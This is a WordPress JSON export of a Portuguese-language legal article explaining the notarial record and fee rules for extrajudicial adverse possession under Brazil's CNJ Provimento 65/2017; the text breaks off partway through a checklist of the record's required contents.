{"id":1399,"date":"2017-12-20T15:38:09","date_gmt":"2017-12-20T17:38:09","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/artigo-a-usucapiao-extrajudicial-e-o-provimento-65-cnj-por-leticia-franco-maculan\/"},"modified":"2017-12-20T15:38:09","modified_gmt":"2017-12-20T17:38:09","slug":"artigo-a-usucapiao-extrajudicial-e-o-provimento-65-cnj-por-leticia-franco-maculan","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/artigo-a-usucapiao-extrajudicial-e-o-provimento-65-cnj-por-leticia-franco-maculan\/","title":{"rendered":"Artigo &#8211; A Usucapi\u00e3o Extrajudicial e o Provimento 65\/CNJ &#8211; Por Let\u00edcia Franco Maculan"},"content":{"rendered":"<p style=\"text-align:justify\"><strong>Introdu&ccedil;&atilde;o<\/strong><\/p>\n<p style=\"text-align:justify\">&nbsp;&nbsp;&nbsp;&nbsp; Em 2017 observamos grandes avan&ccedil;os no que se refere &agrave; usucapi&atilde;o extrajudicial, culminando agora com a publica&ccedil;&atilde;o do Provimento n&ordm; 65, de 14 de dezembro de 2017, pelo Conselho Nacional de Justi&ccedil;a &ndash; CNJ.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Antes do referido Provimento, havia sido publicada a <a href=\"http:\/\/legislacao.planalto.gov.br\/legisla\/legislacao.nsf\/Viw_Identificacao\/lei%2013.465-2017?OpenDocument\">Lei n&ordm; 13.465, de&nbsp;11 de Julho de 2017 (DOU de 12 de julho de 2017), que trouxe solu&ccedil;&atilde;o para diversos problemas que j&aacute; tinham sido identificados na usucapi&atilde;o extrajudicial, alterando a reda&ccedil;&atilde;o de incisos e par&aacute;grafos do art. 216-A da Lei de Registros P&uacute;blicos.<\/a><\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Ap&oacute;s analisar o Provimento n&ordm; 65\/CNJ, entendemos que se tornou muito mais f&aacute;cil concretizar a lei, de forma que o cidad&atilde;o consiga registrar a propriedade, com todas as consequ&ecirc;ncias legais e pr&aacute;ticas, evitando transmiss&otilde;es &agrave; margem do registro, garantindo a seguran&ccedil;a jur&iacute;dica, valorizando o seu patrim&ocirc;nio e tendo acesso a cr&eacute;dito banc&aacute;rio em condi&ccedil;&otilde;es especiais.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Apresentaremos neste artigo um resumo das principais disposi&ccedil;&otilde;es do Provimento n&ordm; 65\/CNJ apenas sobre a ata notarial e sobre a quest&atilde;o da tributa&ccedil;&atilde;o.<\/p>\n<p style=\"text-align:justify\">&nbsp;&nbsp;&nbsp;&nbsp; Deixaremos para os Registradores de Im&oacute;veis comentarem o procedimento que correr&aacute; perante eles.<\/p>\n<p><strong>I &#8211; A ATA NOTARIAL<a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTA0NDQ=#_ftn1\" name=\"_ftnref1\" title=\"\"><strong>[1]<\/strong><\/a> PARA FINS DE USUCAPI&Atilde;O JUDICIAL OU EXTRAJUDICIAL<a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTA0NDQ=#_ftn2\" name=\"_ftnref2\" title=\"\"><strong>[2]<\/strong><\/a><\/strong><\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; A ata notarial foi reconhecida pelo CPC como instrumento, dotado de f&eacute; p&uacute;blica e de for&ccedil;a de prova pr&eacute;-constitu&iacute;da, tratando-se de requisito essencial para a usucapi&atilde;o extrajudicial. No entanto, pode e deve ser utilizada tamb&eacute;m no procedimento da usucapi&atilde;o <strong><u>judicial<\/u><\/strong>, pois em muito colaborar&aacute; para a instru&ccedil;&atilde;o probat&oacute;ria, tornando mais c&eacute;lere o procedimento judicial.<br \/>\n&nbsp;<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp; Ao ser procurado pelo interessado, a primeira provid&ecirc;ncia a ser tomada pelo tabeli&atilde;o &eacute; agendar uma conversa. &nbsp;Nessa conversa ser&aacute; verificado se h&aacute; posse que gera usucapi&atilde;o. Parece absurdo, mas j&aacute; houve situa&ccedil;&atilde;o em que um locat&aacute;rio, em dia com a loca&ccedil;&atilde;o, sendo que j&aacute; vinha alugando o mesmo im&oacute;vel h&aacute; mais de 20 (vinte) anos, veio indagar se teria direito &agrave; usucapi&atilde;o. Houve um novo caso em que o interessado apresentou uma escritura na qual diversas pessoas adquiriam o im&oacute;vel e afirmou que essas pessoas n&atilde;o tinham posse, s&oacute; ele, de forma exclusiva, exercia a posse, mas, ao ler a escritura, observou-se que o mesmo era usufrutu&aacute;rio, raz&atilde;o pela qual, obviamente, exercia a posse, mas sua posse n&atilde;o gera a usucapi&atilde;o.<br \/>\n&nbsp;<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp; Nessa primeira conversa, o tabeli&atilde;o deve procurar saber sobre: o objeto da usucapi&atilde;o; o tipo de posse; as causas que suspendem ou interrompem a usucapi&atilde;o; o tempo de posse, que varia de acordo com o tipo de usucapi&atilde;o.<br \/>\n&nbsp;<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp; &Eacute; preciso, ap&oacute;s identificar o tipo de usucapi&atilde;o, analisar se a posse &eacute; justa, pois somente essa posse justa &eacute; apta a concretizar a usucapi&atilde;o. O art. 1.200 do C&oacute;digo Civil prescreve que: &quot;<em>&Eacute; justa a posse que n&atilde;o for violenta, clandestina ou prec&aacute;ria.&quot;<\/em> Estabelece, ainda que: &quot;<strong><em>Art. 1.<\/em><\/strong><em>208. N&atilde;o induzem posse os atos de mera permiss&atilde;o ou toler&acirc;ncia assim como n&atilde;o autorizam a sua aquisi&ccedil;&atilde;o os atos violentos, ou clandestinos, sen&atilde;o depois de cessar a viol&ecirc;ncia ou a clandestinidade<\/em>.&quot; Tamb&eacute;m deve ser considerado que, nos termos do art. 1.244 do CC, as causas que obstam, suspendem ou interrompem a <u>prescri&ccedil;&atilde;o<\/u> tamb&eacute;m se aplicam &agrave; usucapi&atilde;o<a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTA0NDQ=#_ftn3\" name=\"_ftnref3\" title=\"\">[3]<\/a>.<br \/>\n&nbsp;<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp; O tabeli&atilde;o deve estudar todas as hip&oacute;teses legais de usucapi&atilde;o para verificar se est&atilde;o presentes os respectivos requisitos:<\/p>\n<p><img decoding=\"async\" alt=\"\" src=\"http:\/\/www.notariado.org.br\/__Documentos\/Upload_Conteudo\/arquivos\/lets.jpg\" style=\"height:478px; width:586px\" \/><br \/>\n<strong>* Observa&ccedil;&atilde;o importante: <\/strong>quanto &agrave; <u>usucapi&atilde;o constitucional habitacional<\/u>, consta no quadro acima ser necess&aacute;rio justo t&iacute;tulo e boa-f&eacute;, o que, no entanto, n&atilde;o &eacute; exigido nem pela Constitui&ccedil;&atilde;o nem pela legisla&ccedil;&atilde;o infraconstitucional.<br \/>\n&nbsp;<br \/>\n<strong>II &#8211; Esclarecimentos importantes sobre o <\/strong><strong>objeto da usucapi&atilde;o<\/strong><br \/>\n&nbsp;<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp; N&atilde;o apenas a propriedade, mas tamb&eacute;m outros direitos reais s&atilde;o adquiridos por usucapi&atilde;o: o usufruto, o uso, a habita&ccedil;&atilde;o, a servid&atilde;o. &nbsp;Nesse sentido manifestou-se o Provimento 65\/CNJ, no art. 2&ordm;, &sect; 1&ordm;: &sect; 1&ordm; O procedimento de que trata o caput poder&aacute; abranger a propriedade e demais direitos reais pass&iacute;veis da usucapi&atilde;o.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Sobre a posse de bem em comunh&atilde;o ou condom&iacute;nio, inclusive &aacute;rea comum em condom&iacute;nio edil&iacute;cio, em regra n&atilde;o gera usucapi&atilde;o. A exce&ccedil;&atilde;o ocorre no caso de abandono do lar ou de comprova&ccedil;&atilde;o da cessa&ccedil;&atilde;o da composse, quando a posse gerar&aacute; usucapi&atilde;o<a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTA0NDQ=#_ftn4\" name=\"_ftnref4\" title=\"\">[4]<\/a>.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Somente o bem im&oacute;vel privado est&aacute; sujeito a usucapi&atilde;o, o bem im&oacute;vel p&uacute;blico n&atilde;o est&aacute;, mas o fato de n&atilde;o haver registro n&atilde;o implica que o im&oacute;vel seja p&uacute;blico, o ente p&uacute;blico dever&aacute; demonstrar que o im&oacute;vel &eacute; seu, conforme jurisprud&ecirc;ncia do Superior Tribunal de Justi&ccedil;a &#8211; STJ<a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTA0NDQ=#_ftn5\" name=\"_ftnref5\" title=\"\">[5]<\/a>.<br \/>\n&nbsp;<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp; Bem de sociedade de economia mista pode ser objeto de usucapi&atilde;o. Os bens de empresas p&uacute;blicas tamb&eacute;m podem<a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTA0NDQ=#_ftn6\" name=\"_ftnref6\" title=\"\">[6]<\/a>. No entanto, o Superior Tribunal de Justi&ccedil;a firmou orienta&ccedil;&atilde;o no sentido de que os im&oacute;veis financiados com recursos do Sistema Financeiro da Habita&ccedil;&atilde;o &#8211; SFH n&atilde;o est&atilde;o sujeitos &agrave; aquisi&ccedil;&atilde;o origin&aacute;ria pela usucapi&atilde;o urbana especial<a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTA0NDQ=#_ftn7\" name=\"_ftnref7\" title=\"\">[7]<\/a>, entendimento que n&atilde;o nos parece ter fundamento jur&iacute;dico, apesar de estar clara a inten&ccedil;&atilde;o do STJ de proteger o dinheiro p&uacute;blico.<br \/>\n&nbsp;<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp; O Dr. <em>Marcelo<\/em>&nbsp;de Rezende Campos Marinho&nbsp;<em>Couto, Oficial de Registro de Im&oacute;veis em Minas Gerais, defende<\/em><a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTA0NDQ=#_ftn8\" name=\"_ftnref8\" title=\"\">[8]<\/a><em> que a usucapi&atilde;o leva &agrave; aquisi&ccedil;&atilde;o da propriedade, mas a propriedade deve ser transferida com os &ocirc;nus existentes no registro, sendo que os &ocirc;nus poder&atilde;o ser objeto de discuss&atilde;o judicial para posterior cancelamento<\/em>. A tese do Dr. Marcelo Couto resolve o problema da usucapi&atilde;o do im&oacute;vel financiado pelo Sistema Financeiro de Habita&ccedil;&atilde;o SFH, posto que somente a propriedade seria transferida, o SFH n&atilde;o seria lesado, pois os &ocirc;nus permaneceriam garantindo o financiamento.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; A quest&atilde;o do bem alienado fiduciariamente tamb&eacute;m teve a mesma solu&ccedil;&atilde;o pelo STJ: foi vedada a usucapi&atilde;o<a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTA0NDQ=#_ftn9\" name=\"_ftnref9\" title=\"\">[9]<\/a>. Mas tamb&eacute;m aqui a aplica&ccedil;&atilde;o da tese do Dr. Marcelo Couto resolveria a quest&atilde;o e n&atilde;o obstaria a aquisi&ccedil;&atilde;o do bem pela usucapi&atilde;o, sendo que ele seria transferido com os &ocirc;nus, ou seja, com a aliena&ccedil;&atilde;o fiduci&aacute;ria em garantia.&nbsp;<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; O Conselho Nacional de Justi&ccedil;a, no Provimento 65\/CNJ, acolheu a tese do Dr. Marcelo Couto, tendo restado determinado em seu art. 14 que: &quot;<em>A exist&ecirc;ncia de &ocirc;nus real ou de gravame na matr&iacute;cula do im&oacute;vel usucapiendo n&atilde;o impedir&aacute; o reconhecimento extrajudicial de usucapi&atilde;o.&rdquo;<\/em><\/p>\n<p><strong>II.I- Cabe ao tabeli&atilde;o &quot;atestar o tempo de posse&quot;<\/strong><\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Em que consiste &quot;atestar o tempo de posse&quot;? A lei n&atilde;o esclareceu, mas a interpreta&ccedil;&atilde;o da norma deve ser feita no sentido de gerar seguran&ccedil;a jur&iacute;dica para o ato. Assim, o verbo &quot;atestar&quot; deve ser lido no sentido de &quot;comprovar&quot; e, para comprovar, n&atilde;o basta mera declara&ccedil;&atilde;o feita pelo requerente. H&aacute; que ser apresentada prova da posse (contas de IPTU, &aacute;gua, luz, telefone, cart&otilde;es de cr&eacute;dito, cartas, avisos de corte de &aacute;rvores, de interrup&ccedil;&atilde;o de luz, fotografias da pessoa na casa, entre outros), que ser&aacute; analisada pelo tabeli&atilde;o e reproduzida na ata. Importante tamb&eacute;m que seja tomado o depoimento dos confrontantes, sendo poss&iacute;vel, ou, n&atilde;o o sendo, de outras pessoas que tenham conhecimento da posse por t&ecirc;-la presenciado ao longo dos anos.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Entendemos que a lei n&atilde;o exige o depoimento de testemunhas, assim, preferimos apresentar o depoimento dos pr&oacute;prios confrontantes, que s&atilde;o testemunhas qualificadas em raz&atilde;o do interesse na usucapi&atilde;o. No entanto, n&atilde;o sendo poss&iacute;vel o depoimento dos confrontantes, entendemos importante, por aumentar a seguran&ccedil;a jur&iacute;dica, que ao menos duas testemunhas sejam ouvidas.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; O CNJ, no Provimento 65, reconheceu a import&acirc;ncia da ata notarial para atestar o tempo de posse, tendo determinado, no art. 5&ordm;, &sect; 2&ordm;, que: <em>Podem constar da ata notarial imagens, documentos, sons gravados em arquivos eletr&ocirc;nicos, al&eacute;m do depoimento de testemunhas, n&atilde;o podendo basear-se apenas em declara&ccedil;&otilde;es do requerente.<\/em><\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; <u>Sobre a dilig&ecirc;ncia do tabeli&atilde;o ou seu preposto (substituto ou escrevente)<\/u> para verificar a ocupa&ccedil;&atilde;o da &aacute;rea objeto de usucapi&atilde;o, a dilig&ecirc;ncia &eacute; muito relevante para dar seguran&ccedil;a jur&iacute;dica ao ato, <strong>apesar de n&atilde;o ser essencial<\/strong>, conforme previs&atilde;o do Provimento 65\/CNJ, art. 5&ordm;, &sect; 1&ordm;. Importante ressaltar que tal DILIG&Ecirc;NCIA somente pode ser realizada por <strong><u>Tabeli&atilde;o do Munic&iacute;pio onde est&aacute; localizada a &aacute;rea<\/u><\/strong>, posto que, nos termos do art. 9&ordm; da Lei n&ordm; 8.935\/94 o tabeli&atilde;o de notas n&atilde;o pode praticar atos fora do munic&iacute;pio para o qual recebeu a delega&ccedil;&atilde;o. O Provimento 65\/CNJ refor&ccedil;ou tal entendimento, mas ainda esclareceu que a compet&ecirc;ncia do tabeli&atilde;o fica ampliada no caso de o im&oacute;vel estar localizado em mais de um munic&iacute;pio, podendo o mesmo tabeli&atilde;o lavrar a ata relativa a todo o im&oacute;vel, desde que a maior parte dele esteja localizada no munic&iacute;pio para o qual ele det&eacute;m a delega&ccedil;&atilde;o. Nesse sentido o art. 5&ordm;, caput, do mencionado Provimento: <em>Art. 5&ordm; A ata notarial mencionada no art. 4&ordm; deste provimento <strong><u>ser&aacute; lavrada pelo tabeli&atilde;o de notas do munic&iacute;pio em que estiver localizado o im&oacute;vel usucapiendo ou a maior parte dele<\/u><\/strong>, a quem caber&aacute; alertar o requerente e as testemunhas de que a presta&ccedil;&atilde;o de declara&ccedil;&atilde;o falsa no referido instrumento configurar&aacute; crime de falsidade, sujeito &agrave;s penas da lei.<\/em><\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; A dilig&ecirc;ncia &eacute; cobrada em separado, dependendo seu valor daquele atribu&iacute;do pela tabela respectiva do Estado, objeto da lei estadual espec&iacute;fica. Esclare&ccedil;a-se que, al&eacute;m do pagamento pela dilig&ecirc;ncia, dever&atilde;o ser restitu&iacute;dos os gastos com transporte e alimenta&ccedil;&atilde;o, tendo em vista a dist&acirc;ncia a ser percorrida e o tempo necess&aacute;rio para tanto. Sendo preciso mais de um dia de trabalho, tamb&eacute;m as despesas com estadia devem ser restitu&iacute;das. Tanto as despesas com emolumentos, quanto com a taxa de fiscaliza&ccedil;&atilde;o judici&aacute;ria e ainda a estimativa de despesas com transporte, alimenta&ccedil;&atilde;o e estadia devem ser cobradas antecipadamente, sendo feitos os acertos necess&aacute;rios ap&oacute;s a lavratura da ata. Nosso entendimento foi acolhido pelo CNJ, no art. 26, par&aacute;grafo &uacute;nico:<\/p>\n<p><em>&nbsp;&nbsp;&nbsp;&nbsp; <u>Dilig&ecirc;ncias, reconhecimento de firmas, escrituras declarat&oacute;rias, notifica&ccedil;&otilde;es e atos preparat&oacute;rios e instrut&oacute;rios <\/u>para a lavratura da ata notarial, <u>certid&otilde;es, buscas, averba&ccedil;&otilde;es, notifica&ccedil;&otilde;es e editais<\/u> relacionados ao processamento do pedido da usucapi&atilde;o <strong><u>ser&atilde;o considerados atos aut&ocirc;nomos para efeito de cobran&ccedil;a de emolumentos nos termos da legisla&ccedil;&atilde;o local, devendo as despesas ser adiantadas pelo requerente.<\/u><\/strong><\/em><br \/>\n&nbsp;<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp; O Provimento inovou, exigindo a lavratura de ao menos uma ata notarial pelo tabeli&atilde;o do munic&iacute;pio onde est&aacute; localizado o im&oacute;vel, que deve ser a ata notarial completa, prevista no art. 4&ordm;, I. No entanto, o mesmo Provimento, no <strong>art. 4&ordm;, &sect; 7&ordm;<\/strong>, autoriza a lavratura de outras atas por tabeli&atilde;es diversos, mesmo que detenham a delega&ccedil;&atilde;o para tabelionatos localizados fora do Munic&iacute;pio onde est&aacute; o im&oacute;vel.<br \/>\n&nbsp;<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp; Entendemos importante o CNJ ter deixado autorizada essa op&ccedil;&atilde;o, pois os interessados podem escolher outro tabeli&atilde;o, que n&atilde;o o do Munic&iacute;pio do im&oacute;vel, em raz&atilde;o da confian&ccedil;a nele depositada, ou por ser ele um especialista em lavratura de atas notariais de usucapi&atilde;o, que s&atilde;o efetivamente mais complexas. A previs&atilde;o do art. 4&ordm;, &sect; 7&ordm;, tamb&eacute;m facilita a lavratura das atas na possibilidade de haver confrontantes ou testemunhas que no momento estejam em locais distantes do im&oacute;vel usucapiendo. Os emolumentos para as atas notariais de usucapi&atilde;o, &#8211; <strong>seja para as atas notariais completas, seja para aquelas relacionadas &agrave; usucapi&atilde;o<\/strong>, &#8211; na aus&ecirc;ncia de lei estadual espec&iacute;fica, ser&atilde;o aqueles previstos no art. 26, I. Assim, as atas notariais para fins de usucapi&atilde;o, todas elas, t&ecirc;m conte&uacute;do financeiro: <em>Art. 26. Enquanto n&atilde;o for editada, no &acirc;mbito dos Estados e do Distrito Federal, legisla&ccedil;&atilde;o espec&iacute;fica acerca da fixa&ccedil;&atilde;o de emolumentos para o procedimento da usucapi&atilde;o extrajudicial, ser&atilde;o adotadas as seguintes regras:<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; I &ndash; no tabelionato de notas, a ata notarial <strong><u>ser&aacute; considerada ato de conte&uacute;do econ&ocirc;mico<\/u><\/strong>, devendo-se tomar por base para a cobran&ccedil;a de emolumentos o valor venal do im&oacute;vel relativo ao &uacute;ltimo lan&ccedil;amento do imposto predial e territorial urbano ou ao imposto territorial rural ou, quando n&atilde;o estipulado, o valor de mercado aproximado.<\/em><br \/>\n&nbsp;<br \/>\n<strong>III &ndash; RESUMO DOS PRINCIPAIS PONTOS DO PROVIMENTO N&ordm; 65\/2017 SOBRE A ATA NOTARIAL E A TRIBUTA&Ccedil;&Atilde;O<\/strong><\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Segue abaixo um resumo do Provimento n&ordm; 65\/CNJ, que uniformizou nacionalmente a usucapi&atilde;o extrajudicial. Trataremos apenas da ata notarial e da tributa&ccedil;&atilde;o, deixando para os Registradores de Im&oacute;veis esclarecerem os principais pontos sobre o procedimento:<br \/>\n&nbsp;<br \/>\n<strong>1) Sobre a compet&ecirc;ncia do Tabeli&atilde;o para lavratura da ata notarial de usucapi&atilde;o:<\/strong>&nbsp;Nos termos do art. 5&ordm;, a ata notarial mencionada no art. 4&ordm; do provimento ser&aacute; lavrada PELO TABELI&Atilde;O DE NOTAS DO MUNIC&Iacute;PIO EM QUE ESTIVER LOCALIZADO O IM&Oacute;VEL USUCAPIENDO OU A MAIOR PARTE DELE.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; OBSERVA&Ccedil;&Atilde;O: o art. 5&ordm;,&nbsp;<strong>o &sect; 7&ordm; do art. 4&ordm;<\/strong>&nbsp;autoriza lavratura de OUTRAS atas notariais e de escrituras declarat&oacute;rias por outros not&aacute;rios, ainda que de diferentes munic&iacute;pios.<\/p>\n<p><strong>&nbsp;&nbsp;&nbsp;&nbsp; CONCLUS&Atilde;O QUANTO &Agrave; COMPET&Ecirc;NCIA DO TABELI&Atilde;O: a ata notarial mencionada no art. 4&ordm;, I, dever&aacute; ser lavrada pelo tabeli&atilde;o do Munic&iacute;pio onde est&aacute; localizado o im&oacute;vel. Outras atas tamb&eacute;m poder&atilde;o ser lavradas e apresentadas ao Registrador.<\/strong><br \/>\n&nbsp;<br \/>\n<strong>2) Sobre a ata notarial:<\/strong><\/p>\n<p>2.1) a ata notarial poder&aacute; versar sobre a propriedade ou demais direitos reais pass&iacute;veis de usucapi&atilde;o.<\/p>\n<p>2.1) a usucapi&atilde;o poder&aacute; ser pleiteada por mais de um requerente, nos casos de exerc&iacute;cio comum da posse &ndash; SENDO O CASO, CONSTAR DA ATA O EXERC&Iacute;CIO COMUM DA POSSE.<\/p>\n<p>2.2) o tabeli&atilde;o dever&aacute; alertar o(s) requerente(s) e as testemunhas de que A PRESTA&Ccedil;&Atilde;O DE DECLARA&Ccedil;&Atilde;O FALSA CONFIGURA CRIME DE FALSIDADE, SUJEITO &Agrave;S PENAS DA LEI.<\/p>\n<p>2.3) o tabeli&atilde;o PODER&Aacute; comparecer pessoalmente ao im&oacute;vel para realizar as dilig&ecirc;ncias necess&aacute;rias &agrave; lavratura da ata.<\/p>\n<p>2.4) &eacute; VEDADO que a ata contenha apenas declara&ccedil;&otilde;es do requerente, devendo conter imagens, documentos, sons gravados em arquivos eletr&ocirc;nicos, al&eacute;m do depoimento de testemunhas.<\/p>\n<p>2.5) deve constar da ata que: &ldquo;<strong><em>o requerente foi cientificado de que a ata notarial n&atilde;o tem valor como confirma&ccedil;&atilde;o ou estabelecimento de propriedade, servindo apenas para a instru&ccedil;&atilde;o de requerimento extrajudicial de usucapi&atilde;o para processamento perante o registrador de im&oacute;veis<\/em><\/strong>&rdquo;.<\/p>\n<p style=\"text-align:justify\">2.6) EMOLUMENTOS DA ATA NOTARIAL: enquanto n&atilde;o editada pelos Estados\/DF lei espec&iacute;fica, a ata notarial ser&aacute; considerada ato com conte&uacute;do econ&ocirc;mico, devendo-se tomar por base para a cobran&ccedil;a de emolumentos o valor venal do im&oacute;vel relativo ao &uacute;ltimo lan&ccedil;amento do IPTU ou ITR ou, quando n&atilde;o estipulado, o valor de mercado aproximado. OBSERVA&Ccedil;&Atilde;O: outros atos necess&aacute;rios ser&atilde;o cobrados de forma separada.<\/p>\n<p>2.7) requisitos da ata, conforme art. 4&ordm; e tamb&eacute;m considerando todo o conte&uacute;do do Provimento:<\/p>\n<p style=\"text-align:justify\">a- <strong>quanto ao<\/strong> <strong>requerente e a seu c&ocirc;njuge ou companheiro<\/strong>:<br \/>\na.1) qualifica&ccedil;&atilde;o, endere&ccedil;o eletr&ocirc;nico, domic&iacute;lio e resid&ecirc;ncia do requerente.<br \/>\na.2) qualifica&ccedil;&atilde;o, endere&ccedil;o eletr&ocirc;nico, domic&iacute;lio e resid&ecirc;ncia do respectivo c&ocirc;njuge ou companheiro, se houver, que, se n&atilde;o constar tamb&eacute;m como requerente, <strong><u>dever&aacute; CONSENTIR com o requerimento<\/u><\/strong>:&nbsp; excetua-se a necessidade do consentimento do c&ocirc;njuge ou companheiro no caso de op&ccedil;&atilde;o de regime de separa&ccedil;&atilde;o de bens. (vide art. 4&ordm;, &sect; 4&ordm;)<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; OBSERVA&Ccedil;&Atilde;O: <strong>dever&aacute; ser apresentada certid&atilde;o conforme o estado civil do requerente, atualizada (prazo m&aacute;ximo de 90 dias) e certid&atilde;o de pacto antenupcial, se houver.<\/strong><\/p>\n<p>b- <strong>quanto ao titular do im&oacute;vel<\/strong> lan&ccedil;ado na matr&iacute;cula objeto da usucapi&atilde;o: domic&iacute;lio e resid&ecirc;ncia, inclusive do respectivo c&ocirc;njuge ou companheiro, se houver: <strong>obviamente, somente as informa&ccedil;&otilde;es que o requerente tiver dever&atilde;o ser fornecidas.<\/strong><\/p>\n<p>c- <strong>quanto ao im&oacute;vel:<\/strong><\/p>\n<p>c.1 &#8211; <strong>se a &aacute;rea onde se encontra o im&oacute;vel usucapiendo possui matr&iacute;cula ou transcri&ccedil;&atilde;o<\/strong>: aqui se menciona a &aacute;rea maior, no caso de n&atilde;o haver matr&iacute;cula ou transcri&ccedil;&atilde;o espec&iacute;fica para o im&oacute;vel. OBSERVA&Ccedil;&Atilde;O: se o im&oacute;vel usucapiendo for matriculado com descri&ccedil;&atilde;o precisa e houver perfeita identidade entre a descri&ccedil;&atilde;o tabular e a &aacute;rea objeto do requerimento da usucapi&atilde;o extrajudicial, ser&aacute; dispensada a intima&ccedil;&atilde;o dos confrontantes do im&oacute;vel, devendo o registro da aquisi&ccedil;&atilde;o origin&aacute;ria ser realizado na matr&iacute;cula existente.<\/p>\n<p>c.2 &#8211; <strong>descri&ccedil;&atilde;o do im&oacute;vel conforme consta na matr&iacute;cula<\/strong> em caso de bem individualizado <strong>ou a descri&ccedil;&atilde;o da &aacute;rea<\/strong> em caso de n&atilde;o individualiza&ccedil;&atilde;o. OBSERVA&Ccedil;&Atilde;O: a exist&ecirc;ncia de &ocirc;nus real ou gravame na matr&iacute;cula do im&oacute;vel usucapiendo n&atilde;o impedir&aacute; o reconhecimento da usucapi&atilde;o, mas a usucapi&atilde;o n&atilde;o extinguir&aacute; restri&ccedil;&otilde;es administrativas nem gravames judiciais regularmente inscritos, que dever&atilde;o ser objeto de pedido de cancelamento &agrave; autoridade que expediu a ordem.<\/p>\n<p>c.3 &ndash; <strong>se o im&oacute;vel &eacute; urbano ou rural<\/strong>. OBSERVA&Ccedil;&Atilde;O: para o requerimento ao RI dever&aacute; ser apresentada certid&atilde;o dos &oacute;rg&atilde;os municipais e\/ou federais, nos termos da Instru&ccedil;&atilde;o Normativa INCRA n&deg; 82\/2015 e da Nota T&eacute;cnica INCRA\/DF\/DFC n&deg; 2\/2016, <strong><u>com validade de 30 dias<\/u><\/strong>. Para o tabeli&atilde;o, n&atilde;o h&aacute; exig&ecirc;ncia de tal certid&atilde;o, mas importante que seja devidamente demonstrado tratar-se de im&oacute;vel urbano ou rural. (VERIFICAR COMO SOLICITAR TAL CERTID&Atilde;O, SE FOR F&Aacute;CIL DE OBTER E N&Atilde;O FOR ONEROSA, PODE SER APRESENTADA TAMB&Eacute;M AO TABELI&Atilde;O)<\/p>\n<p>c.4) as caracter&iacute;sticas do im&oacute;vel, tais com a exist&ecirc;ncia de edifica&ccedil;&atilde;o, de benfeitoria ou de qualquer acess&atilde;o no im&oacute;vel usucapiendo.<\/p>\n<p style=\"text-align:justify\">c.5 &#8211; o endere&ccedil;o do im&oacute;vel usucapiendo.<br \/>\n&nbsp;<br \/>\nc.6 &#8211;&nbsp;informar se &eacute; apenas um im&oacute;vel ou mais de um, e se est&atilde;o situados em uma ou mais circunscri&ccedil;&otilde;es (se for mais de um im&oacute;vel). OBSERVA&Ccedil;&Atilde;O: abrangendo a usucapi&atilde;o, mais de um im&oacute;vel, <strong><u>SE CONT&Iacute;GUAS AS &Aacute;REAS<\/u><\/strong>,<strong>&nbsp;ainda que de titularidade diversa,<\/strong>&nbsp;o procedimento poder&aacute; ser realizado&nbsp;<strong>por meio de um &uacute;nico requerimento e ata notarial<\/strong>).<br \/>\n&nbsp;<br \/>\nc.6 &#8211; o valor atribu&iacute;do ao im&oacute;vel usucapiendo (o valor do im&oacute;vel ser&aacute; o valor venal relativo ao &uacute;ltimo IPTU ou ITR e, quando n&atilde;o estipulado, o valor de mercado aproximado)<\/p>\n<p style=\"text-align:justify\">d- <strong>quanto &agrave; modalidade da usucapi&atilde;o:<\/strong> a modalidade requerida e sua base legal ou constitucional.<br \/>\n&nbsp;<br \/>\ne- <strong>quanto &agrave; posse:<\/strong><br \/>\n&nbsp;<br \/>\ne.1 &#8211; a origem da posse: a forma pela qual o requerente adquiriu a posse&nbsp; (relatar em resumo o caso, inclusive fazendo men&ccedil;&atilde;o a justo t&iacute;tulo, se houver).<br \/>\ne.2 &#8211;&nbsp; as caracter&iacute;sticas da posse, a exist&ecirc;ncia de edifica&ccedil;&atilde;o no im&oacute;vel usucapiendo feita durante a posse ou de benfeitoria ou de qualquer acess&atilde;o, com a refer&ecirc;ncia &agrave;s respectivas datas de ocorr&ecirc;ncia.<br \/>\ne.3 &#8211; o tempo de posse<br \/>\ne.4 &ndash; se o tempo de posse necess&aacute;rio para a usucapi&atilde;o &eacute; somado ou 